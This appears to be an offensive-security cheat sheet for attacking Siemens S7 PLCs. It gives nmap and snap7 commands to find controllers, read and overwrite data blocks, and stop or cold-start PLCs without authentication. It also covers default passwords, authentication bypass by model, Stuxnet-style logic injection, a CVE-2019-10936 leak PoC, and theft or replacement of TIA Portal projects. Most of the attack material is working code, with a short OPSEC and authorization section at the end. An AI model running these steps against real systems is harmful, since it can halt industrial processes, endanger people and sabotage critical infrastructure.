Siemens S7 PLC Attack
S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.
Discover
nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name
# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1) # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'
Read / Write data blocks
S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).
import snap7
from snap7 import util
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)
# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):", util.get_int(data, 2))
print("DB10.DBD4 (real):", util.get_real(data, 4))
# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)
Stop / Start the PLC
c.plc_stop() # ⚠ halts execution of the user program — process stops
c.plc_hot_start() # Resume
c.plc_cold_start() # Restart with full init
# Each is unauthenticated on S7-300/400 by default.
Authentication / "Protection Level" differences
| PLC family | Default protection | Bypass class |
|---|---|---|
| S7-300/400 | Often none ("No Protection") | Direct |
| S7-1200 (FW < V4) | None or password (cleartext on wire) | Sniff password |
| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |
| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name
Stuxnet-class primitives (S7-300/400 still in many old fleets)
- Function block tampering: write a custom FB that replaces an existing one — process logic silently changes.
- OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
- PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.
# Write a DB byte that's a control flag in the PLC program
c.write_area(0x84, 1, 0, bytearray([0xFF])) # write to DB1 byte 0
CVE-2019-10936 — info leak on S7-1200/1500
Send a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):
# PoC: github.com/Nibblesec/s7-info-leak
python3 leak.py 10.0.0.50
TIA Portal interaction
If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:
- Steal the project file (
.ap16) — contains every PLC's logic, comments, possibly password hashes - Replace the project being deployed to inject persistent logic changes
- Default TIA Portal SQL — port 1433 with default sa / no password on older installs
OPSEC + safety
- Physical safety:
plc_stop()halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing. - Read-only enumeration is generally safe and silent. S7 has no audit log.
- IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.
- Siemens TIA Portal logs every project upload/download. Tampering with logic is detectable post-engagement during the next checksum review.
References
- snap7 docs — snap7.sourceforge.net
- "The S7Comm protocol" — Wireshark dissector docs
- ICS-CERT advisories on Siemens products (https://www.cisa.gov/uscert/ics/advisories)
- "Stuxnet Deep Dive" — Ralph Langner (still the canonical reference)